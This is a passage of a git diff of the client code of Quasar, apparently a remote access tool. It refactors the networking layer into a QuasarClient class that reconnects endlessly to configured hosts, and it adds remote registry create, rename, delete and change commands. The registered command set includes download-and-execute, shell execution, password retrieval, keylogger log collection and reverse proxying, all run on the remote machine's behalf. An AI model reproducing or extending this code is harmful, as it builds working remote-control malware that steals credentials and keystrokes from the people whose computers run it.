handler(this, packet, length, rawData);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -254,13 +258,16 @@ namespace xClient.Core.Networking
|
|||
/// <summary>
|
||||
/// The packet serializer.
|
||||
/// </summary>
|
||||
private Serializer _serializer;
|
||||
protected Serializer Serializer { get; set; }
|
||||
|
||||
private const bool encryptionEnabled = true;
|
||||
private const bool compressionEnabled = true;
|
||||
|
||||
public Client()
|
||||
protected Client()
|
||||
{
|
||||
_proxyClients = new List<ReverseProxyClient>();
|
||||
_readBuffer = new byte[BUFFER_SIZE];
|
||||
_tempHeader = new byte[HEADER_SIZE];
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
|
@ -268,21 +275,14 @@ namespace xClient.Core.Networking
|
|||
/// </summary>
|
||||
/// <param name="host">The host (or server) to connect to.</param>
|
||||
/// <param name="port">The port of the host.</param>
|
||||
public void Connect(string host, ushort port)
|
||||
protected void Connect(string host, ushort port)
|
||||
{
|
||||
if (_serializer == null) throw new Exception("Serializer not initialized");
|
||||
|
||||
try
|
||||
{
|
||||
Disconnect();
|
||||
Initialize();
|
||||
|
||||
_handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
||||
_handle.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME);
|
||||
|
||||
_readBuffer = new byte[BUFFER_SIZE];
|
||||
_tempHeader = new byte[HEADER_SIZE];
|
||||
|
||||
_handle.Connect(host, port);
|
||||
|
||||
if (_handle.Connected)
|
||||
|
@ -297,62 +297,55 @@ namespace xClient.Core.Networking
|
|||
}
|
||||
}
|
||||
|
||||
private void Initialize()
|
||||
{
|
||||
lock (_proxyClientsLock)
|
||||
{
|
||||
_proxyClients = new List<ReverseProxyClient>();
|
||||
}
|
||||
}
|
||||
|
||||
private void AsyncReceive(IAsyncResult result)
|
||||
{
|
||||
int bytesTransferred;
|
||||
|
||||
try
|
||||
{
|
||||
int bytesTransferred;
|
||||
bytesTransferred = _handle.EndReceive(result);
|
||||
|
||||
try
|
||||
{
|
||||
bytesTransferred = _handle.EndReceive(result);
|
||||
|
||||
if (bytesTransferred <= 0)
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
}
|
||||
}
|
||||
catch (NullReferenceException)
|
||||
{
|
||||
return;
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
return;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
byte[] received = new byte[bytesTransferred];
|
||||
Array.Copy(_readBuffer, received, received.Length);
|
||||
lock (_readBuffers)
|
||||
{
|
||||
_readBuffers.Enqueue(received);
|
||||
}
|
||||
|
||||
lock (_readingPacketsLock)
|
||||
{
|
||||
if (!_readingPackets)
|
||||
{
|
||||
_readingPackets = true;
|
||||
ThreadPool.QueueUserWorkItem(AsyncReceive);
|
||||
}
|
||||
}
|
||||
if (bytesTransferred <= 0)
|
||||
throw new Exception("no bytes transferred");
|
||||
}
|
||||
catch
|
||||
catch (NullReferenceException)
|
||||
{
|
||||
return;
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
return;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
byte[] received = new byte[bytesTransferred];
|
||||
|
||||
try
|
||||
{
|
||||
Array.Copy(_readBuffer, received, received.Length);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnClientFail(ex);
|
||||
return;
|
||||
}
|
||||
|
||||
lock (_readBuffers)
|
||||
{
|
||||
_readBuffers.Enqueue(received);
|
||||
}
|
||||
|
||||
lock (_readingPacketsLock)
|
||||
{
|
||||
if (!_readingPackets)
|
||||
{
|
||||
_readingPackets = true;
|
||||
ThreadPool.QueueUserWorkItem(AsyncReceive);
|
||||
}
|
||||
}
|
||||
|
||||
try
|
||||
|
@ -523,7 +516,7 @@ namespace xClient.Core.Networking
|
|||
{
|
||||
try
|
||||
{
|
||||
IPacket packet = (IPacket)_serializer.Deserialize(deserialized);
|
||||
IPacket packet = (IPacket)Serializer.Deserialize(deserialized);
|
||||
|
||||
OnClientRead(packet);
|
||||
}
|
||||
|
@ -565,33 +558,35 @@ namespace xClient.Core.Networking
|
|||
/// <param name="packet">The packet to be send.</param>
|
||||
public void Send<T>(T packet) where T : IPacket
|
||||
{
|
||||
if (!Connected) return;
|
||||
if (!Connected || packet == null) return;
|
||||
|
||||
lock (_sendBuffers)
|
||||
{
|
||||
try
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
try
|
||||
{
|
||||
_serializer.Serialize(ms, packet);
|
||||
|
||||
byte[] payload = ms.ToArray();
|
||||
|
||||
_sendBuffers.Enqueue(payload);
|
||||
|
||||
OnClientWrite(packet, payload.LongLength, payload);
|
||||
|
||||
lock (_sendingPacketsLock)
|
||||
{
|
||||
if (_sendingPackets) return;
|
||||
|
||||
_sendingPackets = true;
|
||||
}
|
||||
ThreadPool.QueueUserWorkItem(Send);
|
||||
Serializer.Serialize(ms, packet);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnClientFail(ex);
|
||||
return;
|
||||
}
|
||||
|
||||
byte[] payload = ms.ToArray();
|
||||
|
||||
_sendBuffers.Enqueue(payload);
|
||||
|
||||
OnClientWrite(packet, payload.LongLength, payload);
|
||||
|
||||
lock (_sendingPacketsLock)
|
||||
{
|
||||
if (_sendingPackets) return;
|
||||
|
||||
_sendingPackets = true;
|
||||
}
|
||||
ThreadPool.QueueUserWorkItem(Send);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -637,6 +632,7 @@ namespace xClient.Core.Networking
|
|||
{
|
||||
_handle.Send(BuildPacket(payload));
|
||||
}
|
||||
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnClientFail(ex);
|
||||
|
@ -703,7 +699,7 @@ namespace xClient.Core.Networking
|
|||
foreach (ReverseProxyClient proxy in _proxyClients)
|
||||
proxy.Disconnect();
|
||||
}
|
||||
catch
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
@ -719,15 +715,6 @@ namespace xClient.Core.Networking
|
|||
OnClientState(false);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Adds Types to the serializer.
|
||||
/// </summary>
|
||||
/// <param name="types">Types to add.</param>
|
||||
public void AddTypesToSerializer(Type[] types)
|
||||
{
|
||||
_serializer = new Serializer(types);
|
||||
}
|
||||
|
||||
public void ConnectReverseProxy(ReverseProxyConnect command)
|
||||
{
|
||||
lock (_proxyClientsLock)
|
||||
|
|
|
@ -0,0 +1,180 @@
|
|||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using xClient.Config;
|
||||
using xClient.Core.Commands;
|
||||
using xClient.Core.Data;
|
||||
using xClient.Core.NetSerializer;
|
||||
using xClient.Core.Packets;
|
||||
using xClient.Core.Utilities;
|
||||
|
||||
namespace xClient.Core.Networking
|
||||
{
|
||||
public class QuasarClient : Client
|
||||
{
|
||||
/// <summary>
|
||||
/// When Exiting is true, stop all running threads and exit.
|
||||
/// </summary>
|
||||
public static bool Exiting { get; private set; }
|
||||
public bool Authenticated { get; private set; }
|
||||
private readonly HostsManager _hosts;
|
||||
|
||||
public QuasarClient(HostsManager hostsManager) : base()
|
||||
{
|
||||
this._hosts = hostsManager;
|
||||
|
||||
base.Serializer = new Serializer(new Type[]
|
||||
{
|
||||
typeof (Packets.ServerPackets.GetAuthentication),
|
||||
typeof (Packets.ServerPackets.DoClientDisconnect),
|
||||
typeof (Packets.ServerPackets.DoClientReconnect),
|
||||
typeof (Packets.ServerPackets.DoClientUninstall),
|
||||
typeof (Packets.ServerPackets.DoDownloadAndExecute),
|
||||
typeof (Packets.ServerPackets.DoUploadAndExecute),
|
||||
typeof (Packets.ServerPackets.GetDesktop),
|
||||
typeof (Packets.ServerPackets.GetProcesses),
|
||||
typeof (Packets.ServerPackets.DoProcessKill),
|
||||
typeof (Packets.ServerPackets.DoProcessStart),
|
||||
typeof (Packets.ServerPackets.GetDrives),
|
||||
typeof (Packets.ServerPackets.GetDirectory),
|
||||
typeof (Packets.ServerPackets.DoDownloadFile),
|
||||
typeof (Packets.ServerPackets.DoMouseEvent),
|
||||
typeof (Packets.ServerPackets.DoKeyboardEvent),
|
||||
typeof (Packets.ServerPackets.GetSystemInfo),
|
||||
typeof (Packets.ServerPackets.DoVisitWebsite),
|
||||
typeof (Packets.ServerPackets.DoShowMessageBox),
|
||||
typeof (Packets.ServerPackets.DoClientUpdate),
|
||||
typeof (Packets.ServerPackets.GetMonitors),
|
||||
typeof (Packets.ServerPackets.DoShellExecute),
|
||||
typeof (Packets.ServerPackets.DoPathRename),
|
||||
typeof (Packets.ServerPackets.DoPathDelete),
|
||||
typeof (Packets.ServerPackets.DoShutdownAction),
|
||||
typeof (Packets.ServerPackets.GetStartupItems),
|
||||
typeof (Packets.ServerPackets.DoStartupItemAdd),
|
||||
typeof (Packets.ServerPackets.DoStartupItemRemove),
|
||||
typeof (Packets.ServerPackets.DoDownloadFileCancel),
|
||||
typeof (Packets.ServerPackets.GetKeyloggerLogs),
|
||||
typeof (Packets.ServerPackets.DoUploadFile),
|
||||
typeof (Packets.ServerPackets.GetPasswords),
|
||||
typeof (Packets.ServerPackets.DoLoadRegistryKey),
|
||||
typeof (Packets.ServerPackets.DoCreateRegistryKey),
|
||||
typeof (Packets.ServerPackets.DoDeleteRegistryKey),
|
||||
typeof (Packets.ServerPackets.DoRenameRegistryKey),
|
||||
typeof (Packets.ServerPackets.DoCreateRegistryValue),
|
||||
typeof (Packets.ServerPackets.DoDeleteRegistryValue),
|
||||
typeof (Packets.ServerPackets.DoRenameRegistryValue),
|
||||
typeof (Packets.ServerPackets.DoChangeRegistryValue),
|
||||
typeof (Packets.ServerPackets.SetAuthenticationSuccess),
|
||||
typeof (Packets.ClientPackets.GetAuthenticationResponse),
|
||||
typeof (Packets.ClientPackets.SetStatus),
|
||||
typeof (Packets.ClientPackets.SetStatusFileManager),
|
||||
typeof (Packets.ClientPackets.SetUserStatus),
|
||||
typeof (Packets.ClientPackets.GetDesktopResponse),
|
||||
typeof (Packets.ClientPackets.GetProcessesResponse),
|
||||
typeof (Packets.ClientPackets.GetDrivesResponse),
|
||||
typeof (Packets.ClientPackets.GetDirectoryResponse),
|
||||
typeof (Packets.ClientPackets.DoDownloadFileResponse),
|
||||
typeof (Packets.ClientPackets.GetSystemInfoResponse),
|
||||
typeof (Packets.ClientPackets.GetMonitorsResponse),
|
||||
typeof (Packets.ClientPackets.DoShellExecuteResponse),
|
||||
typeof (Packets.ClientPackets.GetStartupItemsResponse),
|
||||
typeof (Packets.ClientPackets.GetKeyloggerLogsResponse),
|
||||
typeof (Packets.ClientPackets.GetPasswordsResponse),
|
||||
typeof (Packets.ClientPackets.GetRegistryKeysResponse),
|
||||
typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse),
|
||||
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
|
||||
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
|
||||
typeof (Packets.ClientPackets.GetCreateRegistryValueResponse),
|
||||
typeof (Packets.ClientPackets.GetDeleteRegistryValueResponse),
|
||||
typeof (Packets.ClientPackets.GetRenameRegistryValueResponse),
|
||||
typeof (Packets.ClientPackets.GetChangeRegistryValueResponse),
|
||||
typeof (ReverseProxy.Packets.ReverseProxyConnect),
|
||||
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
|
||||
typeof (ReverseProxy.Packets.ReverseProxyData),
|
||||
typeof (ReverseProxy.Packets.ReverseProxyDisconnect)
|
||||
});
|
||||
base.ClientState += OnClientState;
|
||||
base.ClientRead += OnClientRead;
|
||||
base.ClientFail += OnClientFail;
|
||||
}
|
||||
|
||||
public void Connect()
|
||||
{
|
||||
while (!Exiting) // Main Connect Loop
|
||||
{
|
||||
if (!Connected)
|
||||
{
|
||||
Thread.Sleep(100 + new Random().Next(0, 250));
|
||||
|
||||
Host host = _hosts.GetNextHost();
|
||||
|
||||
base.Connect(host.Hostname, host.Port);
|
||||
|
||||
Thread.Sleep(200);
|
||||
|
||||
Application.DoEvents();
|
||||
}
|
||||
|
||||
while (Connected) // hold client open
|
||||
{
|
||||
Application.DoEvents();
|
||||
Thread.Sleep(2500);
|
||||
}
|
||||
|
||||
if (Exiting)
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
Thread.Sleep(Settings.RECONNECTDELAY + new Random().Next(250, 750));
|
||||
}
|
||||
}
|
||||
|
||||
private void OnClientRead(Client client, IPacket packet)
|
||||
{
|
||||
var type = packet.GetType();
|
||||
|
||||
if (!Authenticated)
|
||||
{
|
||||
if (type == typeof(Packets.ServerPackets.GetAuthentication))
|
||||
{
|
||||
CommandHandler.HandleGetAuthentication((Packets.ServerPackets.GetAuthentication)packet, client);
|
||||
}
|
||||
else if (type == typeof(Packets.ServerPackets.SetAuthenticationSuccess))
|
||||
{
|
||||
Authenticated = true;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
PacketHandler.HandlePacket(client, packet);
|
||||
}
|
||||
|
||||
private void OnClientFail(Client client, Exception ex)
|
||||
{
|
||||
Debug.WriteLine("Client Fail - Exception Message: " + ex.Message);
|
||||
client.Disconnect();
|
||||
}
|
||||
|
||||
private void OnClientState(Client client, bool connected)
|
||||
{
|
||||
Authenticated = false; // always reset authentication
|
||||
|
||||
if (!connected && !Exiting)
|
||||
LostConnection();
|
||||
}
|
||||
|
||||
private void LostConnection()
|
||||
{
|
||||
CommandHandler.CloseShell();
|
||||
}
|
||||
|
||||
public void Exit()
|
||||
{
|
||||
Exiting = true;
|
||||
Disconnect();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Networking;
|
||||
using xClient.Core.Registry;
|
||||
|
||||
namespace xClient.Core.Packets.ClientPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class GetChangeRegistryValueResponse : IPacket
|
||||
{
|
||||
public string KeyPath { get; set; }
|
||||
public RegValueData Value { get; set; }
|
||||
|
||||
public bool IsError { get; set; }
|
||||
public string ErrorMsg { get; set; }
|
||||
|
||||
public GetChangeRegistryValueResponse() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Networking;
|
||||
using xClient.Core.Registry;
|
||||
|
||||
namespace xClient.Core.Packets.ClientPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class GetCreateRegistryKeyResponse : IPacket
|
||||
{
|
||||
public string ParentPath { get; set; }
|
||||
public RegSeekerMatch Match { get; set; }
|
||||
|
||||
public bool IsError { get; set; }
|
||||
public string ErrorMsg { get; set; }
|
||||
|
||||
public GetCreateRegistryKeyResponse() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Networking;
|
||||
using xClient.Core.Registry;
|
||||
|
||||
namespace xClient.Core.Packets.ClientPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class GetCreateRegistryValueResponse : IPacket
|
||||
{
|
||||
public string KeyPath { get; set; }
|
||||
public RegValueData Value { get; set; }
|
||||
|
||||
public bool IsError { get; set; }
|
||||
public string ErrorMsg { get; set; }
|
||||
|
||||
public GetCreateRegistryValueResponse() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,25 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Networking;
|
||||
|
||||
namespace xClient.Core.Packets.ClientPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class GetDeleteRegistryKeyResponse : IPacket
|
||||
{
|
||||
public string ParentPath { get; set; }
|
||||
public string KeyName { get; set; }
|
||||
|
||||
public bool IsError { get; set; }
|
||||
public string ErrorMsg { get; set; }
|
||||
|
||||
public GetDeleteRegistryKeyResponse() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,25 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Networking;
|
||||
|
||||
namespace xClient.Core.Packets.ClientPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class GetDeleteRegistryValueResponse : IPacket
|
||||
{
|
||||
public string KeyPath { get; set; }
|
||||
public string ValueName { get; set; }
|
||||
|
||||
public bool IsError { get; set; }
|
||||
public string ErrorMsg { get; set; }
|
||||
|
||||
public GetDeleteRegistryValueResponse() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,35 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Networking;
|
||||
using xClient.Core.Registry;
|
||||
|
||||
namespace xClient.Core.Packets.ClientPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class GetRegistryKeysResponse : IPacket
|
||||
{
|
||||
public RegSeekerMatch[] Matches { get; set; }
|
||||
|
||||
public string RootKey { get; set; }
|
||||
|
||||
public GetRegistryKeysResponse()
|
||||
{ }
|
||||
|
||||
public GetRegistryKeysResponse(RegSeekerMatch match, string rootKey = null)
|
||||
: this(new RegSeekerMatch[] { match }, rootKey)
|
||||
{ }
|
||||
|
||||
public GetRegistryKeysResponse(RegSeekerMatch[] matches, string rootKey = null)
|
||||
{
|
||||
Matches = matches;
|
||||
RootKey = rootKey;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Networking;
|
||||
|
||||
namespace xClient.Core.Packets.ClientPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class GetRenameRegistryKeyResponse : IPacket
|
||||
{
|
||||
public string ParentPath { get; set; }
|
||||
public string OldKeyName { get; set; }
|
||||
public string NewKeyName { get; set; }
|
||||
|
||||
public bool IsError { get; set; }
|
||||
public string ErrorMsg { get; set; }
|
||||
|
||||
public GetRenameRegistryKeyResponse() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Networking;
|
||||
|
||||
namespace xClient.Core.Packets.ClientPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class GetRenameRegistryValueResponse : IPacket
|
||||
{
|
||||
public string KeyPath { get; set; }
|
||||
public string OldValueName { get; set; }
|
||||
public string NewValueName { get; set; }
|
||||
|
||||
public bool IsError { get; set; }
|
||||
public string ErrorMsg { get; set; }
|
||||
|
||||
public GetRenameRegistryValueResponse() { }
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,5 +1,4 @@
|
|||
using xClient.Core.Commands;
|
||||
using xClient.Core.Data;
|
||||
using xClient.Core.Networking;
|
||||
using xClient.Core.ReverseProxy;
|
||||
|
||||
|
@ -11,19 +10,6 @@ namespace xClient.Core.Packets
|
|||
{
|
||||
var type = packet.GetType();
|
||||
|
||||
if (!ClientData.IsAuthenticated)
|
||||
{
|
||||
if (type == typeof(ServerPackets.GetAuthentication))
|
||||
{
|
||||
CommandHandler.HandleGetAuthentication((ServerPackets.GetAuthentication)packet, client);
|
||||
}
|
||||
else if (type == typeof(ServerPackets.SetAuthenticationSuccess))
|
||||
{
|
||||
ClientData.IsAuthenticated = true;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (type == typeof(ServerPackets.DoDownloadAndExecute))
|
||||
{
|
||||
CommandHandler.HandleDoDownloadAndExecute((ServerPackets.DoDownloadAndExecute)packet,
|
||||
|
@ -35,11 +21,11 @@ namespace xClient.Core.Packets
|
|||
}
|
||||
else if (type == typeof(ServerPackets.DoClientDisconnect))
|
||||
{
|
||||
Program.Disconnect();
|
||||
Program.ConnectClient.Exit();
|
||||
}
|
||||
else if (type == typeof(ServerPackets.DoClientReconnect))
|
||||
{
|
||||
Program.Disconnect(true);
|
||||
Program.ConnectClient.Disconnect();
|
||||
}
|
||||
else if (type == typeof(ServerPackets.DoClientUninstall))
|
||||
{
|
||||
|
@ -138,6 +124,38 @@ namespace xClient.Core.Packets
|
|||
CommandHandler.HandleDoDownloadFileCancel((ServerPackets.DoDownloadFileCancel)packet,
|
||||
client);
|
||||
}
|
||||
else if (type == typeof(ServerPackets.DoLoadRegistryKey))
|
||||
{
|
||||
CommandHandler.HandleGetRegistryKey((ServerPackets.DoLoadRegistryKey)packet, client);
|
||||
}
|
||||
else if (type == typeof(ServerPackets.DoCreateRegistryKey))
|
||||
{
|
||||
CommandHandler.HandleCreateRegistryKey((ServerPackets.DoCreateRegistryKey)packet, client);
|
||||
}
|
||||
else if (type == typeof(ServerPackets.DoDeleteRegistryKey))
|
||||
{
|
||||
CommandHandler.HandleDeleteRegistryKey((ServerPackets.DoDeleteRegistryKey)packet, client);
|
||||
}
|
||||
else if (type == typeof(ServerPackets.DoRenameRegistryKey))
|
||||
{
|
||||
CommandHandler.HandleRenameRegistryKey((ServerPackets.DoRenameRegistryKey)packet, client);
|
||||
}
|
||||
else if (type == typeof(ServerPackets.DoCreateRegistryValue))
|
||||
{
|
||||
CommandHandler.HandleCreateRegistryValue((ServerPackets.DoCreateRegistryValue)packet, client);
|
||||
}
|
||||
else if (type == typeof(ServerPackets.DoDeleteRegistryValue))
|
||||
{
|
||||
CommandHandler.HandleDeleteRegistryValue((ServerPackets.DoDeleteRegistryValue)packet, client);
|
||||
}
|
||||
else if (type == typeof(ServerPackets.DoRenameRegistryValue))
|
||||
{
|
||||
CommandHandler.HandleRenameRegistryValue((ServerPackets.DoRenameRegistryValue)packet, client);
|
||||
}
|
||||
else if (type == typeof(ServerPackets.DoChangeRegistryValue))
|
||||
{
|
||||
CommandHandler.HandleChangeRegistryValue((ServerPackets.DoChangeRegistryValue)packet, client);
|
||||
}
|
||||
else if (type == typeof(ServerPackets.GetKeyloggerLogs))
|
||||
{
|
||||
CommandHandler.HandleGetKeyloggerLogs((ServerPackets.GetKeyloggerLogs)packet, client);
|
||||
|
|
|
@ -0,0 +1,26 @@
|
|||
using System;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Networking;
|
||||
using xClient.Core.Registry;
|
||||
|
||||
namespace xClient.Core.Packets.ServerPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class DoChangeRegistryValue : IPacket
|
||||
{
|
||||
public string KeyPath { get; set; }
|
||||
public RegValueData Value { get; set; }
|
||||
|
||||
public DoChangeRegistryValue(string keyPath, RegValueData value)
|
||||
{
|
||||
KeyPath = keyPath;
|
||||
Value = value;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,24 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Networking;
|
||||
|
||||
namespace xClient.Core.Packets.ServerPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class DoCreateRegistryKey : IPacket
|
||||
{
|
||||
public string ParentPath { get; set; }
|
||||
|
||||
public DoCreateRegistryKey(string parentPath)
|
||||
{
|
||||
ParentPath = parentPath;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,27 @@
|
|||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Networking;
|
||||
|
||||
namespace xClient.Core.Packets.ServerPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class DoCreateRegistryValue : IPacket
|
||||
{
|
||||
public string KeyPath { get; set; }
|
||||
public RegistryValueKind Kind { get; set; }
|
||||
|
||||
public DoCreateRegistryValue(string keyPath, RegistryValueKind kind)
|
||||
{
|
||||
KeyPath = keyPath;
|
||||
Kind = kind;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Networking;
|
||||
|
||||
namespace xClient.Core.Packets.ServerPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class DoDeleteRegistryKey : IPacket
|
||||
{
|
||||
public string ParentPath { get; set; }
|
||||
public string KeyName { get; set; }
|
||||
|
||||
public DoDeleteRegistryKey(string parentPath, string keyName)
|
||||
{
|
||||
ParentPath = parentPath;
|
||||
KeyName = keyName;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Networking;
|
||||
|
||||
namespace xClient.Core.Packets.ServerPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class DoDeleteRegistryValue : IPacket
|
||||
{
|
||||
public string KeyPath { get; set; }
|
||||
public string ValueName { get; set; }
|
||||
|
||||
public DoDeleteRegistryValue(string keyPath, string valueName)
|
||||
{
|
||||
KeyPath = keyPath;
|
||||
ValueName = valueName;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,24 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Networking;
|
||||
|
||||
namespace xClient.Core.Packets.ServerPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class DoLoadRegistryKey : IPacket
|
||||
{
|
||||
public string RootKeyName { get; set; }
|
||||
|
||||
public DoLoadRegistryKey(string rootKeyName)
|
||||
{
|
||||
RootKeyName = rootKeyName;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,28 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Networking;
|
||||
|
||||
namespace xClient.Core.Packets.ServerPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class DoRenameRegistryKey : IPacket
|
||||
{
|
||||
public string ParentPath { get; set; }
|
||||
public string OldKeyName { get; set; }
|
||||
public string NewKeyName { get; set; }
|
||||
|
||||
public DoRenameRegistryKey(string parentPath, string oldKeyName, string newKeyName)
|
||||
{
|
||||
ParentPath = parentPath;
|
||||
OldKeyName = oldKeyName;
|
||||
NewKeyName = newKeyName;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,28 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Networking;
|
||||
|
||||
namespace xClient.Core.Packets.ServerPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class DoRenameRegistryValue : IPacket
|
||||
{
|
||||
public string KeyPath { get; set; }
|
||||
public string OldValueName { get; set; }
|
||||
public string NewValueName { get; set; }
|
||||
|
||||
public DoRenameRegistryValue(string keyPath, string oldValueName, string newValueName)
|
||||
{
|
||||
KeyPath = keyPath;
|
||||
OldValueName = oldValueName;
|
||||
NewValueName = newValueName;
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,40 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace xClient.Core.Registry
|
||||
{
|
||||
/*
|
||||
* Derived and Adapted By Justin Yanke
|
||||
* github: https://github.com/yankejustin
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* This code is created by Justin Yanke and has only been
|
||||
* modified partially.
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* Modified by StingRaptor on January 21, 2016
|
||||
